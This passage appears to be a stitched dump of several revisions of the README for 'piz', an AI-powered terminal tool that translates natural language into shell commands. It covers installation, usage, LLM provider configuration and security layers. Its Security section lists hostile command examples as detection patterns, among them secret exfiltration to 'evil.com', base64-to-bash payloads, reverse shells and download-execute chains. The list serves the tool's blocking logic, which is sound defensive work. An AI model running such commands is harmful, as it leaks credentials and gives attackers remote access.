Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "85cd8c8b84cc7cfae299e042c9f75e9ffafb3eef": {"t": 1785760773.8779683, "n": 17074, "h": "8f914f9baffa1bd9", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "ce6bd9bbb3e8d8f4820086c69c763dae5ba80869": {"t": 1785760776.1556375, "n": 16992, "h": "57bcde8e73bb8c09", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git 